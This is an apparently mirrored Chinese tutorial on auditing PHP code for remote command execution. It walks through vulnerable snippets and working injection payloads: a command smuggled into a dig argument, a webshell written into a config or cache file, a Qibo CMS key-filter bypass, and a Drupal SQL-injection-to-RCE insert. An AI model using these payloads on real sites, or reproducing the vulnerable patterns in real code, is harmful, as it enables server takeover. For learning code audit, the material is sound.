說說RCE那些事兒

wyzsk發表於2020-08-19
作者: 小飛 · 2014/11/07 13:45

0x01 引言


如果OWASP給PHP漏洞弄個排行榜,那RCE(遠端命令執行)絕對是最臭名昭著漏洞的前十名,其攻擊方式靈活,且攻擊成功後一般返回繼承了web元件(如apache)許可權的shell,危害自不必再多描述。那麼,今天就來看看程式碼審計中到底該在哪裡尋找命令執行?或者說,哪些功能會導致程式碼執行?

0x02漏洞尋蹤


這是一個最簡單的命令執行漏洞

#!php
//index.php
<?php 
$cmd=$_GET['cmd'];
 system($cmd); ?> 

我們可以執行

index.php?cmd=whoami 

特別注意如果我們使用了

#!php
<?php 
$cmd=$_GET['cmd']; 
echo exec($cmd); 
?>

由於exec() 預設沒有回顯,所以執行命令之後 我們是看不到結果的, 當然我們能夠透過重定向,把他們匯入檔案中,再來查詢

當然這些程式碼一般情況下是不可能出現在程式中的,我們僅作了解。 那麼…… 到底哪裡會出現命令執行呢?

Demo #1 實現查詢dns的RCE

這是一個實現查詢dns命令的php程式片段,由於要和系統產生資訊通道,使用了system()函式,過濾不嚴也導致了RCE。

#!php
<?php

    include("common.php");
    showMenu();
    echo '<br>';
    $status = $_GET['status'];
    $ns  = $_GET['ns'];
    $host   = $_GET['host'];
    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
    $ip     = $_SERVER['REMOTE_ADDR'];
    $self   = $_SERVER['PHP_SELF'];
        $host = trim($host);
          $host = strtolower($host);
          echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
          echo '<pre>';
          //start digging in the namserver
          system ("dig @$ns $host $query_type");
          echo '</pre>';
    } else {
?>

如果我們請求

dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

明顯system ("dig whoami sirgod.com NS"); 是不能執行的

所以我們用“||”分別執行linux命令

dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

system ("dig ||whoami|| sirgod.net NS");

那麼我們就分離了dig命令和whoami 成功執行

Demo #2 配置資訊儲存不當的RCE

很多時候php的配置資訊是直接儲存在.php字尾的檔案裡面的 比如discuz 如果沒有認真過濾…

#!php
  if(isset($action) && $action == "setconfig") {
    $config_file = "config.php";
    $handle = fopen($config_file, 'w');
    $StringData = "<?php\r
    $"."news_width = '".clean($_POST[news_width])."';\r
    $"."bgcolor = '".clean($_POST[bgcolor])."';\r
    $"."fgcolor = '".clean($_POST[fgcolor])."';\r
    $"."padding = '".clean($_POST[padding])."';\r
    $"."subject_margin = '".clean($_POST[subject_margin])."';\r
    $"."fontname = '".clean($_POST[fontname])."';\r
    $"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
    fwrite($handle, $StringData);
  }

那麼如果正常提交 就是

#!php
<?php 
$news_width = '600px'; 
$bgcolor = '#000000';
$fgcolor = '#ffffff'; 
$padding = '5px'; 
$subject_margin = '0px'; 
$fontname = 'verdana'; 
$fontsize = '13px'; 
?>

我們要是提交';system($_GET['cmd']);'

配置檔案就會變成

#!php
<?php 
$news_width = '';
system($_GET['cmd']);
'';
 $bgcolor = '#000000';
 $fgcolor = '#ffffff'; 
$padding = '5px'; 
$subject_margin = '0px'; 
$fontname = 'verdana';
 $fontsize = '13px'; 
?> 

很明顯這就是個合法的php檔案了,也成為了一個webshell。

Demo #2 快取寫入不當的RCE

#!php
$newsfile = "news.txt"; 
$file = fopen($newsfile, "r"); 
..........................................................................
 elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " .  $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
include 'inc/posted.html';
else 
include 'inc/error1.html'; 
fclose($file);

這個程式碼的業務功能就是寫入快取,是下次使用之前直接呼叫靜態檔案 如何顯示給訪客呢

#!php
<? include("news.txt"); ?>

那麼我們試試注入shell

#!php
<table class='sn'> <tbody> 
<tr><td class='sn-title'> 
<?php system($_GET['cmd']); ?> 
</td></tr> <tr><td class='sn-date'> 
Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div> <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>

訪問display.php?cmd=whoami 成功執行

0x03 例項剖析


有人就說了,上面程式碼是簡單的phpdemo而已,實際環境中的審計肯定沒有那麼簡單,那麼,當我們面對完整的php程式,他們面對物件,基於各種框架,還怎麼去尋找RCE的蹤跡呢?

我們來看幾個例項

齊博cms快取寫入導致遠端程式碼執行 漏洞檔案

#!php
foreach($label AS $key=>$value){
var_dump ($value);exit;//如果是新標籤時,即為陣列array(),要清空
if(is_array($value))
{
$label[$key]='';
}
}
//寫快取
if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){
$_shows="<?php\r\n\$haveCache=1;\r\n";

foreach($label AS $key=>$value){
$value=addslashes($value);
$_shows.="\$label['$key']=stripslashes('$value');\r\n";
}
write_file($FileName,$_shows.'?>');
} 
}

這段程式碼功能很好分析 遍歷標籤($label)變數,並且寫入快取,

我們看看過濾函式

#!php
function Add_S($array){
 foreach($array as $key=>$value){
if(!is_array($value)){
@eregi("['\\\"&]+",$key) && die('ERROR KEY!');
$value=str_replace("&#x","& # x",$value); //過濾一些不安全字元
$value=preg_replace("/eval/i","eva l",$value); //過濾不安全函式
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]); 
}
}
return $array;
}

這裡檢測key的機制就出問題,,我畫了個圖

enter image description here

簡而言之,他只檢測最底層的key 所以我們提交label[evilcode][asd]=xx 匹配的key是asd 那麼就不會被匹配出 evilcode就不會被檢測。

由於qibo是 偽全域性

#!php
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

會幫我們註冊好提交的變數 所以$label是能夠直接控制的

那麼也就是當我們提交

#!php
label['.phpinfo().'][asd]=sb

提交的key為''.phpinfo().'' 那麼寫入的本地檔案就是

#!php
\$label[''.phpinfo().'']=stripslashes();\r\n"; 

enter image description here

這時所有引號全都閉合

快取資料夾中也就寫入了我們的shell

Drupal函式回撥導致的RCE

Drupal作為世界上公認最強大的phpweb框架,一直在追求更安全的開發方法 比如,它採用預編譯的方法進行SQL互動,使得SQL隱碼攻擊漏洞幾乎難以挖掘。然而在近期,由於一個功能中將SQL預編譯權利交給了使用者。

#!php
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

插入使用者輸入資料導致sql注入

又由於drupal採用的PDO是支援多行的,所以能執行任意語句,當然這不是今天的重點。 今天我們看看如何漏洞擴大,把SQLI變成RCE 首先講下call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

呼叫回撥函式,並把一個陣列引數作為回撥函式的引數 說明

#!php
mixed call_user_func_array ( callable $callback , array $param_arr )


$preferred_links = &drupal_static(__FUNCTION__); 
 If (!isset($path)) {    $path = $_GET['q'];  }

首先$path作為變數是可控的

#!php
function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
 $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE; 
$read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path); 
if ($page_callback_result == MENU_SITE_ONLINE) { 
         if ($router_item = menu_get_item($path)) {
              if ($router_item['access']) { 
                   if ($router_item['include_file']) { 
require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
 } else { $page_callback_result = MENU_ACCESS_DENIED; 
} } else { $page_callback_result = MENU_NOT_FOUND; } } }

if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }

包含了檔案

透過預編譯註入向表中插入一個語句

#!php
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','eval', '1', 'modules/php/php.module');

path 為要執行的程式碼; include_file 為 PHP filter Module 的路徑; page_callback 為 eval; access_callback 為 1(可以讓任意使用者訪問)。 訪問地址即可造成 RCE。

enter image description here

0x04 寫在最後


一般來講,漏洞形成的原因基本都是“資料與程式碼未有效分離”,然而RCE是個例外,往往出現rce的地方本來就是供程式執行程式碼的地方,加上如今php程式功能越來越強大,各種地方相互呼叫,導致組合利用漏洞。所以程式設計師寫起程式碼來往往都不知道改怎麼去防禦,或者說防不勝防。 由於其漏洞實現的靈活性,尋找RCE,還是應該從功能入手,去研究程式碼實現了什麼功能,最後變數進入什麼函式,被如何呼叫,而不是簡簡單單的去進行關鍵字搜尋,畢竟,如今程式碼審計已經從“哪裡有洞”過渡到“如何繞過”的時代了。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章